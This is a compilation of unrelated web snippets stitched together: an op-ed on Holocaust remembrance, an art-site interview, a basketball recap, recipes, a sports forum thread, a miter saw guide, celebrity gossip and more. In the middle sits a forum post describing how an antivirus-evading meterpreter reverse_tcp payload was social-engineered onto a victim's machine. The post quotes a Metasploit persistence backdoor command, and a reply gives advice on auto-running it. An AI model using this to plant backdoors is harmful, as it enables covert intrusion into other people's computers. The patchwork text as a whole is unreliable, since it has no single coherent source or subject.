Historical Perspectives
Dont Strand the Holocaust in History (COMMENTARY MAGAZINE) Jonathan S. Tobin 04/18/12)

This evening, Jews in Israel and around the world will mark Yom HaShoah, the day of remembrance of the Holocaust. For most, it will be a moment of mourning as well as an occasion to ponder the lessons of history and to ask whether humanity has learned anything in the 67 years since the end of the Second World War. But for some on the left, the Holocaust has become a political liability that must be drained of all relevance to the contemporary world.
Thats the gist of todays editorial in Israels Haaretz newspaper that demands that Netanyahu stop hiding behind Holocaust warnings. Haaretz, which articulates the opinion of the minority of Israelis who espouse the views of the hard left about the conflict with the Palestinians as well as the potential confrontation with Iran, has come to negatively view any attempt to ground the countrys security policies in the historical experience of the Jewish people. Thus, for them its not merely enough to chide the prime minister for what they wrongly believe is the promiscuous use of Holocaust analogies. Instead, their goal, as well as that of others who pay lip service to the idea of proper commemoration of the Six Million who died at the hands of the Nazis and their collaborators, is to strand the event in history. Doing so serves their immediate political purpose but, in fact, confounds the entire concept of remembrance of the Holocaust.
This is a familiar theme from the left, which in recent years has come to view mentions of the Holocaust as a dodge that has allowed Israel to avoid coming to grips with the tough issues of war and peace as well as its social cohesion. But its not Netanyahu and others who are in the wrong; it is those who wish to isolate the destruction of European Jewry in history and to avoid drawing conclusions from it who are profoundly misguided.
Though the Holocaust has universal significance, its particular meaning relates to what happens when Jews are rendered powerless in the face of powerful foes bent on their destruction. While there are those who wish to discuss it only in the most general terms about bias, the Holocaust was a specific event that happened to a people who had been demonized for 2,000 years and lacked the ability to adequately defend themselves.
Netanyahu is not injecting a political agenda into commemoration of this tragedy. It is actually those who wish to ban mentions of Irans nuclear program, the genocidal intent of Hamas and other Islamist terrorists as well as the rising tide of European anti-Semitism and anti-Zionism from the discussion of the Shoah who are distorting the debate.
The notion that Israelis or American Jews are so distracted by fears rooted in the Holocaust that they have ignored other problems or exaggerated the present threats to Jewish existence is rooted in a foolish assumption that Islamist forces who speak of their desire to eradicate Israel dont mean what they say. Netanyahu isnt, as Haaretz charges, irresponsibly feeding the fear of a second Holocaust to the detriment of his country. He is merely acknowledging the reality that Jewish history has the ability to inform our understanding of todays conflicts, and that we must act on the conclusions we must draw from the past.
Every slur or example of hate speech is not a potential Holocaust. But the efforts of a powerful Islamist state to obtain nuclear weapons that might be used to make good on its pledge to eradicate Israel is as much of an existential threat as that of the Nazis. That doesnt mean that Iran is Germany or that Khamenei or Ahmadinejad is Hitler, but the analogy doesnt have to be perfect to make sense. The same applies to those Islamist terrorists, often funded by Iran, who have similar hopes about cleansing the Middle East of the one Jewish state.
What we must understand is that any commemoration of the Holocaust that does not speak of the need to prevent Iran from gaining nuclear weapons or of preserving Israels security against the threat of Palestinian terrorism is not worthy of the name. Far from there being too much talk about Iran when discussing the Holocaust, there is not enough. Though todays situation is not akin to that of 1939 when there was no Jewish state ready to defend itself or an America that despite the ambivalence of its president is united in support of Israel, the peril is nonetheless real.
The mere recital of expressions of sorrow for the Six Million is not enough. Acts of remembrance that do not cause us to draw conclusions about the present are of little use. For all the effort and resources that have gone into the proliferation of Holocaust memorials around the United States, it must be understood that the best and only true memorial to the Shoah is to be found in the creation and the survival of the State of Israel and of the Jewish people itself. Those who weep today about the fate of the Six Million but say nothing about the possibility that the West will not act to stop Iran or seek to discourage Israel from defending its people have learned nothing.

Original Characters
The concept of "original characters" may be a bit foreign to writers, as when you create a piece of literature, in most cases, everyone in the story is an original character. However, with advent of role-playing (in its many various forms), non-writers and writers alike found themselves created characters to use in games and otherwise. Sometimes the characters represent themselves, other times not. The main thing that remains the same is that they are loved and cherished by their creator. And who doesn't love showing off their creations. A while ago, I ran a poll asking my watchers and visitors to share some of their OCs with me. The range of characters was amazing and I'm happy to feature a good number of them below. To see the original poll, click here ---> mirz123.deviantart.com/journal…

Spotlight Interview
In this series, I hope to introduce the community to some artists who have been around dA for a while, but are still relativity unknown. The interviews are meant to be short and sweet. I encourage you to check out the artist's full gallery and add them to your devWatch.
-- This issue, we talk to traditional artist, VelCake
Could you introduce yourself and tell us a little about yourself and your dA life?
Hi! I'm Ellen, I'm 17-years old (though I'm close to being 18, in December 12th! Haha. ) I am brazilian, and I've been a deviant since the beginning of 2009 (almost 4 years by now) and I have to say dA's changed my life in countless ways. Thanks to it I developed my art in ways I never imagined I ever would (which is now to me a freelance work, through commissions, my choice of university, and the knowledge I got from here also allowed me to get a job in an art store), I found the love of my life, my boyfriend namenotrequired , besides so many wonderful friends from all over the world! One day, I'll visit you all guys. You just wait.
What would you say your main artform is? Secondary?
My main art form is traditional manga (which is what I like working the most with, though I also do digital art but I always adapted a lot better with traditional media) and my secondary is whatever I feel like working with at the moment, besides manga. It can be realism, still life, design - I just like trying new things.
When did you start pursuing your art? What prompted you to?
After I joined dA. Before that I already did original art, but it was just once in a while - I needed motivation to keep going on and improving. I found that here.
What is your favorite piece in your gallery at the moment?
I'm not sure about whether it is or not the best piece I did so far, but definitely is my favourite. Specially because it looks exactly like what I had in mind. That's quite rare to happen.
In general, what is your favorite thing to create (i.e. fan-art, poetry, etc) ?
Again, it depends on my mood. I do prefer original art most of the time, but sometimes I get tired of that and I want to do something else. I really love drawing and watching fanart, but I rarely do it for several reasons, including the fact I don't like having to stay faithful to the original design of the character, I want to create too much over it and sometimes I can't make them look like they are. Some people have a real talent to draw fanart in their own style and still make it beautifully original, but I seem to lack this ability but perhaps one day I will manage to do so. I absolutely love the expression of characters and scenes from series, movies, books, etc, being re-created according to the artist's own exclusive point of view, hence why I still insist on trying doing fanart myself.
Some other times, I'm drawn to realism and photography. I specially love captures of special moments in daily life - I also have a desire to one day make an art project of my own related to that, capturing faces of random people that attract me for some reason and painting them. It just seems to me a lot more interesting painting random people than celebrities for example, which is something so many people seem to do...
Just for fun question: What is your favorite movie?
Oh heck, that's a tough question I don't have a single favourite, but perhaps I could say 5 Centimeters Per Second it makes me cry everytime I watch it.
Time to spread the love. Who are 3 artists you feel could use more love? Tell us why you love them.
serafleur. I love her blooming style, and her art definitely deserves more love I haven't talked to her much yet, but I do watch her and she's always so kind
c85. I probably watch him ever since I joined dA, and I could never get over how incredible his pencil works are. I haven't yet found on dA an artist with a similar work, nor I think I will - his work is unique, the recurrent combination of brides, complex arquiteture, flowers and guns is gorgeous. I'm happy to have suggested both his DD's: D
TGA-Tsurugi. Another blooming artist I've been watching for years I follow his art almost since the beginning, and it was always impressive for me to see such talent at such young age. I can hardly believe he's as old as me, his work is astounding! I've always seem in him an artist with a wonderful future, hence why I totally recommend his work.
Final words?
Thank you so much for the opportunity, Mirz! And I hope you guys like it. I love you all.
Some of my picks from VelCake's gallery:
Themed Feature

It's the "instant gratification" generation. We need our information now; service must be quick. We're a society devoid of patience, and we only continue to make our lives more fast-paced.
As far as photography is concerned, we've moved from analog to digital, so we can view our photos immediately after it's taken. That way we can retake the picture if need be. No more dropping off the film and waiting an hour, maybe a few days, in order to view the prints.
But, surprisingly, analog is back. Some call it the trendy, hipster type of photography; others have no idea what it is.
Lomography allows you to get spontaneous, experimental and creative with your photos. Shoot from your hip; avoid looking through the viewfinder, and be patient. The end result is always worth the wait.
I recently picked up a Diana Mini 35 mm film camera, bought different types of film, each giving the photo a unique look and feel, and immediately began experimenting.
The best part? You never know what the photo will look like, AND you can shoot half frames.
To give you a feel for how lomo photos look, here are a few I've taken over the past year with my favorite toy camera:

HICKORY, N.C. - Brevard College's Josh Roper (Charlotte, N.C.) had 23 points and Carson-Newman's Cameron Sharp (Knoxville, Tenn.) buzzer-beater was waved off at the third-seeded Tornados beat the seventh-seeded Eagles, 73-72, in the semifinals of the 2010 Food Lion Men's South Atlantic Conference Basketball Tournament on Saturday afternoon in Hickory, N.C.
Brevard (20-9) advances to face top-seeded Catawba College in the championship game on Sunday afternoon. Tipoff is at 2 p.m.
Carson-Newman's season ends at 11-18.
Carson-Newman had a number of opportunities, including one that came a moment too late, on the game's final possession.
After a Sharp three-pointer closed the game to its final score, senior Jordan Dixon (Clinton, Tenn.) stole the ensuing inbounds pass following a C-N timeout. The Eagle guard would miss a jumper with eight seconds to play, but the Eagles kept possession after BC lost the ball out of bounds.
Sharp missed a corner jumper with five seconds to play, but C-N's Quinche' Dowdell (Oak Ridge, Tenn.) ended up with the rebound. His put back attempt was blocked back to Sharp, who buried a jumper from the free throw line as the horn sounded, but was immediately waved off for being after the buzzer.
The Tornados rallied from a 66-63 deficit with six minutes to play behind six points from Jonathan Whitson (Clyde, N.C.). His running jumper with 1:05 to play gave Brevard a 73-69 lead, the only two possession lead be either team in the final nine minutes of the game.
In all, the lead changed 16 times and the game was tied nine times.
Senior Nathan Whitmire carried the Tornadoes in the second half. The senior finished the game with 20 points, 17 in the second half, including 7-of-7 at the line.
In all, Brevard made 23-of-29 free throw attempts. C-N was just 9-of-14 at the line.
Carson-Newman jumped out to a 10-point lead in the first half behind hot long-range shooting. The Eagles knocked down 7-of-15 three-pointers in the first half, including making four-straight to build to a 33-23 lead at the 3:58 mark of the first half.
BC would close the half on a 9-4 run, including two buckets in the final minute of the half by Roper, to cut it to 37-32 at the break. He had 13 points in the half.
Brevard would continue its run, and open its largest lead of the game in the opening moments of the second half. A Whitson jumper at the 17:39 mark capped a 20-4 Tornado run as they moved out to a 43-37 lead. Whitmire was 3-of-3 from the floor during the stretch and had 10 points during the run.
The Eagles bounced back as steals by Dowdell and senior Tray Okoth (Richmond, Va.) led to a Dixon three-pointer and an Okoth layup, to cut the BC lead back to two at 44-42.
Whitson finished the game with 17 points and eight rebounds for Brevard. He also had five blocked shots.
Okoth led five Eagles in double figures with 15. Sharp added 14, while Dixon chipped in 13, as did junior Erwin Staten (Huntsville, Ala.), who was 3-of-7 from behind the arc.
Brevard Quotes:
Head coach Mike Jones: "Obviously, we're thrilled. It has been a remarkable season for us. This group of seniors have been with me three, four, some five years. They were with me when we won nine games and four games. We were gearing ourselves towards this season, and here we are, fighting for the top."
"Josh Roper really played well tonight. His ability to get to the rim was huge. He proved why he was an All-Conference player."
"We are fortunate to win giving up 16 offensive rebounds. That's something we have to correct going into tomorrow."
Carson-Newman Quotes:
Head coach Dale Clayton: "I'm extremely proud of our players and their effort. They kept fighting back, fighting back. We did a good job on the boards, something that hurts us in our last game against them."
"The free-throws were tough. They made 14 more in a one-point game. That's tough."

MRM and SXM should go to Panic instead of hogging Gridcosm.
MRM is doing good work but too many pieces per level. SXM's stuff is repetitious and idiosyncratic. SXM is reminiscent of MOX (JER's prank) but more disturbing.
I think I'm on the verge of Panic. Maybe I'll see MRM and SXM there. I'm hoping to see you there, too, SAZ.

Entities provide a convenient way to access and control objects' features and properties. Entities are not required to have a visual representation. One simply adds features to an entity by attaching property classes, then handling the messages this entity receives.
CEL has Python bindings, and its own XML-based script language. You can use either of those, on a per-entity basis. Using CELStart, you can build an application without any line of C++. Indeed, you can also use them from your own C++ code.

McGregor, Jon. So Many Ways to Begin
As a child, David Corter happily dug up artifacts from the war and haunted the local museums, dreaming of running his own museum one day. He collected artifacts from his own life almost obsessively, cataloging them and preserving them, building a history of his and his family's lives. When, at the age of 22, a family friend suffering from early-onset Alzheimer's reveals the long-held secret that David was actually adopted, he finds himself having to reevaluate everything he thought he knew about his history. Coupled with David's quest are his wife's problems...her abusive relationship with her family has left her prone to debilitating bouts of depression.
While the story itself, of two dysfunctional people finding their way in life, is not a new or original one, the way in which the story is told is unique. Each chapter takes as its center an item from David's collection, using that item as a jumping-off point for a story about his past. These stories jump around in time, weaving together slowly into a complete picture of his life and struggle for identity. A quiet, slow-paced, melancholy title, this book is nevertheless engaging.

Clever Leftovers: Turn Them Into Mini Dinner & Dessert Pies
Maybe it's the inordinate amount of cake pops or Jell-O shots I've been enjoying at parties recently, but it seems mini just makes meals better.
Maybe it's the inordinate amount of cake pops or Jell-O shots I've been enjoying at parties recently, but it seems mini just makes meals better.
With this idea in mind and more leftovers than I could possibly handle, I started looking for a clever way to use up what I had on hand in the fridge. I stumbled across a mini pie idea using Bisquick and decided to give it a try.
The idea is, you prep your Bisquick mix same as you would to make waffles, but instead of dropping a ladle on the waffle maker, you distribute it evenly into cupcake pans and stuff with lots of tasty leftovers.
Here are 6 combos I tried along with the basic how-to. For the recipe I used for inspiration and adapted, head on over to BettyCrocker.com.
To make your mini pies you just mix up 1/2 a cup of milk, 2 eggs and 1/2 a cup of Bisquick. Then, in a greased muffin pan, spoon a tablespoon of the mix into the bottoms, add a 1/4 cup of your filling, then top with another tablespoon of mix. Bake at 375 until golden brown - that's all!
Buffalo chicken is a favorite of all - mix up some pulled Buffalo chicken you have leftover from your Skinny Buffalo Chicken Wraps with chives, red peppers, tomatoes and low-fat shredded cheddar.
Got lots of veggies lying around the fridge? Chop 'em and mix 'em with some feta cheese for a Greek vegetarian-friendly mini meal. We used grape tomatoes, black olives, red onion and roasted red pepper.
It's grilling season year-round in our house. If you find you've got a link of sausage or extra hamburger, don't toss. Chop your meat and mix it in with your favorite topping arrangements. We used the grilled onions, peppers and fresh basil we cooked up with our chicken sausage for this filling.
And these mini-pies aren't just for dinner - you can add your favorite dessert flavors to them, too! This combo was our favorite: peanut butter, banana and caramel. Serve with a scoop of ice cream for a real treat!
Lots of extra berries on hand? Mix with fresh mint for a fresh and light dessert pie.
And finally, though you can't tell from this picture, our creme de la creme - Nutella, mini marshmallow and strawberries. I can't say enough about how DELISH this one was!
What combo will you try for your next dinner party? Tell us!
See how Dawn Sandomeno and Elizabeth Mascali elevate the every day with their fantastic recipes and ideas!Read More »

Joe Lhota Releases New Campaign Ad Attacking de Blasio
Front runner Bill de Blasio surprised many Tuesay night by going on the offensive during the first televised mayoral debate between himself and Joe Lhota. De Blasio left Lhota defending himself for most of the night, something people weren't expecting, considering de Blasio's large lead in recent polls. However, Lhota hasn't wasted any time responding with his own attacks.
Lhota fired back Wednesday on Fox's "Good Day New York," arguing against de Blasio's claim that Rudy Giuliani was a divisive mayor. "Like David Dinkins wasn't a divisive mayor? The man who crime went to levels that we have never seen before in the City of New York?" Lhota asked. "David Dinkins – more people died when he was mayor than anything you can possibly imagine." Watch the "Good Day New York" interview here.
Lhota also released a new campaign ad on Wednesday using the recent SUV and motorcyclist road rage incident on the West Side Highway to argue that Bill de Blasio would take New York backwards to a time when crime was much more prevalent in NYC. You can watch the ad below.

Mild or moderately exposed people usually recover completely. Some studies in animals and people suggest that severe nerve agent poisoning can cause long-term central nervous system effects, such as changes in brain activity. However, it is unclear what such changes may mean, if anything, regarding the function and long-term health status of a person who has been mildly or moderately exposed to sarin.
Sarin poisoning is treated with antidotes, if necessary, and with supportive medical care. The most important thing is for victims to be rapidly decontaminated and to be given medical treatment as soon as possible.

Post subject: Johnny "Football"
Now I know this will be met with a lot of hostility on here, and I know I'm going to be in the minority, but honestly. I just don't like the guy. I'm not saying he isn't talented, but I just wonder if the guy has the mental stuff to be successful (and I don't mean he isn't smart).
Ok, so he got in trouble in the past and made mistakes...I could look past that if the guy was/had become a stand up guy.
But there is just too much...AND THEN with him. His twitter account on a regular basis shows the kid making questionable decisions. I know he's a 20 something kid and he wants to have fun, but he has to know he's being judged/watched/stalked by the news and the NCAA.
Now he is taking online classes so that he can work on his studies without distraction...ok, I guess I get that...whether or not I think it's right that is a different question. Then Sunday he posts about how he can't wait to get out of college station, a tweet that was quickly deleted. But follows it up with walk in my shoes. The only sympathy I have for him is that he is a "student" athlete, and from my time at K-State I know how hard that can be on people. Outside of that I'm sure it's rough, being ultra-popular, knowing you are almost guaranteed millions of dollars, getting a free education...and all you have to do is play football, go to class and keep your nose clean...yeah I get it, life must be really rough for Johnny Football.
Now I posted this to see if I'm alone in questioning how paying this kid millions of dollars (probably more than he's making at A & M) is a good idea. I guess I question his character. If this was a kid with the character of Collin Klein/Drew Brees or heck even Teblow...I would feel better. And I know people can change, overcome...it just doesn't necessarily seem like he wants to change. Like I said, if this was just the arrest, and then nothing, I wouldn't question it as much...
And now, I could be wrong, he could come to the NFL light it up, be dynamite and keep himself out of trouble...but I don't think it's a stretch to see him go down the path of guys like McClain, JerWalrus, Adam Jones...

With hours of tape now available on him, I'm curious to see if he has success against teams that are specifically planning against him. The college teams in 2012 did not often account for his mobility.
He might be letting the hype get to his head. I don't see how he'll be a first-rounder unless he's improved drastically in the offseason.

Off-field issues aside, I'm not a huge fan of Manziel as a prospect. Even without the off-field issues, I see him as a late second to third round prospect right now. He just simply has too many question marks on the field at this point for me to value him as a high first rounder. Throw in the off field stuff, and he drops to a late third or fourth rounder in my book. Right now, Bridgewater, McCarron, and Murray are easily ahead of him and guys like Boyd and Mariota arguably ahead of him with their own question marks.

I guess I'm glad I'm on the only one that doesn't necessarily think this guy is "IT". He didn't play great against the upper level competition, I think he really won the Heisman because of 1 play during the Bama game, and the fact that Klein had a bad game against Oregon.
While I think most college athletes should stay in college because you never know when you're 1 play away from never playing again not matter how good you are, I think Manziel needs to stay in college until he can prove he has matured, and so he can improve in terms of being a football player and not just a good-great athlete.

Unless there is a metamorphosis of great magnitude, the enormity of the NFL, with all that it entails, will eat this kid alive. Anxious to see how he would react to grizzled vets who make him understand quickly, and in no uncertain terms, that it isn't 'all about him'. Until I see that attitude change from him, I'm making the assumption the realization will come with a great price.
He needs to continue the college experience with cheerleaders, frat. house parties, and occasional smoking, to get all that out of his system before he puts on his big boy pants. Harsh??? Yep, it is intended to be. Sick and tired of prima pretty boys with all their glitter and swagger pretending that it will translate to the NFL, when they haven't proven they can handle the spot lite at the college level, yet.

I think this is exactly why he'll leave college the instant he's able to...because, "He's Johnny Football." Must be tough, being him and all.

DT, exactly! Let's see how he plays, reacts, and copes with 2013 since he is not an anomaly anymore. How will he play when opponents seriously 'game plan' him. I can name several teams who will be frothing at the mouth to get their hands on him....and likely will.
I HOPE he does well, not trying to "X" him or anything, but this year will give you a better idea of who he is.....or more likely, who he ISN'T.

I hate the name Johnny Football, but the kid has it. He needs to do a lot of bulking up and his passing lacks refinement, but this is a stud QB during his growth years. Tom Brady was a skinny kid when he came out. It was one of the knocks on him.

I'm a Bama fan and love the kid.
You guys do realize he was a Redshirt Freshman right? Peyton Manning would've been eaten alive in the NFL at that age and experience level. Can say the same thing on any NFL QB.
He can be a special QB if he continues to work hard, his accuracy, touch on passes and poise is incredible for someone so young.
You don't beat Bama nowadays unless you're special, and he's not even an Athletic talent like Cam or RGIII either which makes it even crazier. I'm just hoping the outside pressure doesn't crumble him.
As far as the tweet, don't see the big deal. Sometimes you have a bad day where you live, it happens. Its not always roses and sunshine, even for Johnny Football.

You have no idea what it is like to be treated above everybody else and have everybody always looking at you for the answers and the miracles with the fame and the accolades.
Remind you, this kid is 3 years out of high-school and has a winning, uncashed lottery ticket in his back pocket. Do you not think that he is now, more than ever, surrounded by hangers on who do nothing but drain on him constantly or use him to try to advance their own agendas?
This, to me, looks like a kid who's been thrust into fame and the only thing he knows how to do is play football. I feel bad, knowing what it was like to be 20/21 years old just as a normal person. Hell, I can't fathom what its like for him right now.
This is probably one of the most sensational, judgmental posts I've ever seen on this site. In a day when sensationalism is getting to be the normal, part of the reason I don't post much here anymore.

Brawl, my post was no more judgmental than the posts and opinions of how great a young QB he is, or can be. He has the world in front of him, and he needs to get himself surrounded with 'adults' who can help him manage his soon to be wealth and fortunes. Currently, and this is only my opinion, he doesn't have that.
Again, you can't hear voice inflection or intent with a post. I'm not a detractor of this young man, hell, I'm probably a fan, but when other folks hang the "Johnny Football" lable on him, it is easy for a young person to get caught up in the hype and start believing it. Some serious direction is needed if he is to achieve his potential. That is what I was saying. I only wish the best for him, but it will not come with a serious price.....one way or another, good or bad.
In this regard, he is not unlike MANY other young men in this enviable position.

Brawl I respect your opinion on things, and this isn't meant to be sensationalist. It's meant to foster discussion on a topic when there isn't a ton else to talk about.
I agree with you that he is judged harshly because of his situation, but what I'm saying is, it goes with the area. I agree I can't fathom what it's like to have hangers on and people always wanting a piece of you. All I'm saying is it makes you wonder how this kid can handle it. It's not like he's going to get "less" attention going forward, and his uncashed lottery ticket as you called it isn't going to make him less attractive to the clingon folks.
My biggest issue is with the media building him into a messiah, the next best thing ever, when in reality he still has a lot of growing to do (as well all did at that age).
Another thing I was wondering about here is just what people think. Do you take potential in Manziel over a more polished guy like Bridgewater or Murray? How does the character stuff come into play for Johnny Football.
All I'm trying to do is have something to talk about besides whether or not we over-paid for Alex Smith.

Jimmy, I think you and I are in the same boat. While it irked me that he won the Heisman, I really do want the kid to do well. He has the talent to do special things in this game.
That is why I said I think he really NEEDS to stay in school, to mature, to build himself mentally and grow in the game.

Yeah, if he pays attention, a lot can be learned from a couple years in college, more than class room stuff. Two years of general mental and psy. maturing as well as physical development will do him wonders.

Look at AutoRunScript under payload advanced options.
Dear fellow Backtrackers,
I hope someone knows the answer to my question:
Is it possible to integrate metasploits persistence module into an executable that includes a meterpreter reverse_tcp payload? So that it establishes a meterpreter-session when executed AND installs a backdoor to startup on system-start again?
The background:
I successfully social engineered my "victim" to run an example.exe from an usb drive, that included the meterpreter payload and was self-encoded in a way the AV didn't detect it. My Backtrack-machine was part of the local network and listening for the incoming meterpreter-session, which it established once the example.exe got excecuted. But: The situation required me to stay with the person running the "victim"-machine for a long time, and when I got back to Backtrack, the session was already closed because the "victim"-machine was shut down.
If the session was still up, I had used
to achieve persistence on the machine, so that it would connect back to me when the computer gets started again. But since I had no chance to run the code, because of the system being shut down before I got back to the meterpreter-session, the test failed. That's why I ask if there's a way to include persistence in the .exe, to save the time I would need to run the persistence code in my meterpreter-session.Code:run persistence -A -X -i [time in secs] -p [open port]
I'm looking forward to your tips,
Look at AutoRunScript under payload advanced options.
Thank you, that solved the problem!

But there is no doubt that their practices are anti-competitive.
For only with that knowledge would they have had enough information to make an informed—and, no doubt, sophisticated—decision.
No doubt they will be more careful and less offensive, right?
No doubt, liberal Israelis like Manekin favor a two-state deal, but fear a hollow process for the sake of process.
Coakley, 56, ran a nearly flawless campaign, and the outcome was never really in doubt.
No doubt; still I should be better pleased if they were back home.

early 13c., "to dread, fear," from Old French doter "doubt, be doubtful; be afraid," from Latin dubitare "to doubt, question, hesitate, waver in opinion" (related to dubius "uncertain;" see dubious), originally "to have to choose between two things."
The sense of "fear" developed in Old French and was passed on to English. Meaning "to be uncertain" is attested in English from c.1300. The -b- was restored 14c. by scribes in imitation of Latin. Replaced Old English tweogan (noun twynung), from tweon "two," on notion of "of two minds" or the choice of two implied in Latin dubitare (cf. German Zweifel "doubt," from zwei "two").

WATCH: Joe Biden calls terrorists 'knock-off Jihadis'
(Cambridge, MA) -- Vice President Joe Biden vows that the U.S. will never be intimidated by terrorists. Biden spoke today at a memorial service for Sean Collier, an MIT police officer believed to have been gunned down by the two Boston Marathon bombing suspects.
Biden said terrorists are losing around the world and called the two suspects cowardly, twisted and perverted. Biden called Collier a true hero. He saluted the bravery of all law enforcement officers. The Vice President also cited the bravery of Bostonians and said Boston and the U.S. will never yield to terrorism.

BALTIMORE, MD -- The Maryland Amusement and Music Operators Association has scheduled a fall fundraiser at the Bull & Oyster Roast at Rosedale Gardens from 2 p.m. to 6 p.m. The Bull & Oyster is located at 8037 Philadelphia Rd. in Baltimore.
"When it comes to politics, MAMOA stands between the amusement industry and the political and legislative process," said MAMOA president Larry Bershtein, Capitol Amusement Co. (Laurel, MD). "MAMOA worked hard during the last legislative session, and continues to communicate our interests to state and municipal legislators, as well as monitoring and influencing regulations that affect us."
One new development that's likely on the minds of Maryland's operators is a gambling expansion bill that permits electronic or mechanical pull-tab machines in all state posts belonging to veterans organizations. | SEE STORY
A relatively new state association, MOMOA was established by a coalition of Maryland operators and distributors in early 2008 to defend the legitimate redemption market. A statewide ban on previously legal electronic bingo machines took effect on July 1, 2008, and at the same time some lawmakers were targeting gray-area games throughout the state. The new Maryland association sought to educate lawmakers about the industry to prevent prize-vending equipment from becoming illegal in any antigambling legislation. Additionally, Maryland levies some of the heaviest taxes and fees on amusement equipment.

My grandchildren are getting a little too old for Easter nests with candy, so these made really good gifts, instead. They all have IPads/IPods and were very happy to get the ITunes cards. Received a discounted price and free shipping, too.

Video Tip: How to Mark a Board
Mark Petersen, an editor for The Family Handyman, will show you how to properly mark a board before cutting it on a miter saw.
Clean cuts start with a steady hand and a firm grip
Photo 1: Line up the blade with one side of the mark
Lift the blade guard with your thumb and sight down one edge of the blade to align your cut. Caution: Remove your fingers from the switch while you're aligning the cut. Firmly hold or clamp the workpiece. Then gradually release the blade guard and return your hand to the switch to make your cut.
A power miter saw is one of the best tools to cut tight-fitting joints on all kinds of moldings: window and door trim, baseboard and crowns. With a power miter saw and a sharp saw blade, it's easy to fine-tune a joint for a perfect fit by slightly adjusting the angle or trimming off a hair's width.
Be prepared for a startling experience the first time you squeeze the switch on a power miter saw. The saw will jerk and whine as the blade gets up to speed. Listen for the blade to reach top speed before starting your cut. Then lower the blade slowly and steadily through the board until the cut is complete. Hold the saw carriage down in this position and release the switch, allowing the blade to come to a complete stop before raising it. Maintain a firm grip on the workpiece until the blade stops spinning.
Aligning the blade with the cutting mark on your workpiece gets easier with practice. Photo 1 shows how. Cut a little beyond the line, leaving extra length on your workpiece. Test the fit. Then adjust the miter saw angle if necessary (Photo 2) and slice off a little more. Keep a firm grip on the workpiece (with your hand a good 6 in. away from the blade) to prevent it from being pushed aside by the blade. For greater accuracy, clamp the workpiece.
Miter Saw Safety
Power miter saws are simple to use and safe if you follow the precautions and instructions included. Take time to read and understand them. Here are a few of the most important safety precautions:
- Unplug the saw when you're changing the blade or not using it.
- Keep your fingers at least 6 in. from the path of the blade. Some saws have lines to indicate the danger zone.
- Wear safety glasses and hearing protection when you're operating the saw.
- Don't reach under the blade while it's spinning.
- Let the blade come to a complete stop at the end of each cut before lifting it.
Adjust the angle for a perfect miter
A friend once complained to me that miters cut on his power miter saw didn't fit, and he wondered if something was wrong with the saw. I explained that miters often don't fit on the first try, but that he could make them fit by adjusting the angle slightly (Photo 2), as little as 1/4 degree, and slicing off tiny slivers of wood. If the backsides of miters touch, leaving a gap in the front, you can fix it in either of two ways. If you own a compound miter saw (opening photo), leave the angle setting the same but tilt the saw 1 or 2 degrees and recut the miter, removing just a little from the back side. If your saw doesn't tilt, slide a carpenter's pencil or sliver of wood under the workpiece to tilt it up in relation to the blade. With practice, you'll be able to look at a joint and gauge where to remove wood to tighten the fit.
Build a jig to hold crowns and coves
Some trim pieces, like crown, cove and bed moldings, sit at an angle to the wall or ceiling. To cut these, I like to imagine the bed of the saw as the ceiling and the fence as the wall, and position the molding that way. Then you'll cut the miters like any other trim, without having to make a compound miter. Build a jig to ensure the molding is held at a consistent angle each time (Photos 5 and 6).
Cutting short pieces requires special techniques
Whenever you have to cut miters on a piece less than about 8 in. long, cut them from a longer piece so you can keep your fingers in the safe zone away from the blade. If you need a 6-in. piece of baseboard with miters on both ends, for example, cut one miter on the end of a long piece of base. Then mark for the other miter, change the miter saw angle, and cut off the 6-in. piece while you hold the longer end. Very small pieces fall through the large gap in the fence on many saws and can easily break or be flung across the room. Photo 3 shows one solution. Sometimes it's helpful to screw a taller wood fence to your miter saw to support wide trim and reduce the size of the space near the blade. The fence has holes that are just for this purpose.
Every brand of miter saw is slightly different. The more you use your saw, the more you'll get used to its quirks and the easier it will be to get accurate results.
Simple Miter Saw Stand
No matter what type of miter saw you own, a stand that holds the tool at a comfortable working height and supports long pieces of lumber is a must. It doesn't have to be fancy. The photo below shows one version that's so quick and easy to assemble that I'd often build one right on the job site. The wooden bed extension on this stand makes it easy to attach stop blocks (Photo 4). If you've got extra time, embellish this plan by adding a plywood bottom to form a tray and replacing the 1x8 with a wider strip of 3/4-in. plywood. Set the stand across a pair of sawhorses to save wear and tear on your knees.
Use 8-ft. 2x4s for the base. Cut a piece of plywood about 16 in. wide and the length of the miter saw and screw it to the 2x4s. Rip 2x4 blocks so they'll support the 1x8 top flush with the bed of the saw. Screw the blocks to the long 2x4s. Then screw the 1x8 bed extensions to the blocks.

Scarjo opens up…a little
FameFlynet, AFP/ Getty
Scarlett Johansson was with the cast of Captain America: The Winter Soldier in China yesterday. That's a pretty prominent v-neck on Chris Evans, non? Here's how I see the v-neck: it can't go with big arms. You have to choose one. Go with a v-neck if your arms aren't stretching to hulk the sh-t out of your shirt. Full Story
The Grandmaster in New York!
Ilya S. Savenok/ Getty
Wong Kar-Wai's The Grandmaster (now presented by Martin Scorsese) screened in New York last night. The director and his stars, Zhang Ziyi and Tony Leung, were there with Susan Sarandon and Samuel L Jackson. As you know, like a proper Hong Kong girl, I LOVE Tony Leung. And he looks so great in this black suit. Full Story
The Avengers assemble for the Oscars
Alberto E. Rodriguez/ Getty
The Academy sent out a press release this morning announcing that the cast of The Avengers—RDJ, Mark Ruffalo, Jeremy Renner, Chris Evans and Samuel L. Jackson—will be presenting at the Oscars. There are a couple noticeable absences, though. Scarlett Johansson, who's currently on Broadway so it's conceivable she couldn't take the time off, but where in the world is Chris Hemsworth? He has his own franchise and Thor 2 is opening later this year. Full Story
Two movies Mimi won't be seeing
When Mimi was pregnant with twins, it was bleak. It was also bleak when she couldn't find any butterfly snowflake false eyelashes. Mimi's favourite word to describe any emotion less than ecstasy is "bleak". Generally Mimi tries to avoid the bleak, and her life is structured so that she generally doesn't have to encounter it, unless it's beyond her control, like dembabies who tortured her so in utero. Full Story
Avenging Men
Wenn, Kevin Winter/ROBYN BECK/Getty
The male Avengers all showed for The Avengers premiere last night. I'll need some nerd help on the following: is Nick Fury considered an Avenger? I was picking all the pictures and excluded Tom Hiddleston because he doesn't qualify as Loki's a bad guy but how about Sam Jackson? (Easy you horny Hiddleston fans. Full Story
GOOP & Scarjo: colour-off x 2
